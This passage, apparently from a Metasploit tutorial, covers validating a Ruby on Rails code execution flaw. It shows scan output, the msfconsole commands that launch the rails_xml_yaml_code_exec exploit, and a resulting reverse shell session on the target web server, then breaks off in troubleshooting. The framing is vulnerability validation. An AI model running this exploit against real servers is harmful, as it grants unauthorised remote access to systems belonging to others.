[*] Scanned 155 of 256 hosts (060% complete)

[*] Scanned 221 of 256 hosts (086% complete)

[*] Scanned 224 of 256 hosts (087% complete)

[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

In the output above, we can see that 192.168.0.4 appears to be vulnerable. If a database was connected to the Metasploit console or the web interface was used, there will also be a reported vulnerability for this host. The Metasploit web interface will show something like the following under the Vulnerabilities tab of Analysis.

Exploitation

To validate this vulnerability, we will now use the exploit module and try to gain access to the web server. To do so, click the name of the vulnerability in the web interface and select the Launch option for the Rails exploit shown. Verify that the RPORT and SSL settings are correct and launch. Metasploit Console users can select and launch the exploit with the following commands:

msf> use exploit/multi/http/rails_xml_yaml_code_exec

msf exploit(rails_xml_yaml_code_exec) > set RHOST 192.168.0.4

msf exploit(rails_xml_yaml_code_exec) > set RPORT 80

msf exploit(rails_xml_yaml_code_exec) > exploit

[*] Reloading module...

[*] Started reverse handler on 192.168.0.4:4444

[*] Sending Railsv3 request to 192.168.0.4:80...

[*] Sending Railsv2 request to 192.168.0.4:80...

[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.4:53719) at 2013-01-10 03:07:54 -0600

uid=1001(www) gid=1001(www) groups=1001(www)

Troubleshooting

If the server was reported as vulnerable, but you did not get a session, you may need to change your payload settings. By default, Metasploit will try to use a reverse-connect payload, but this can fail if your system is behind a firewall or if the target system is unabl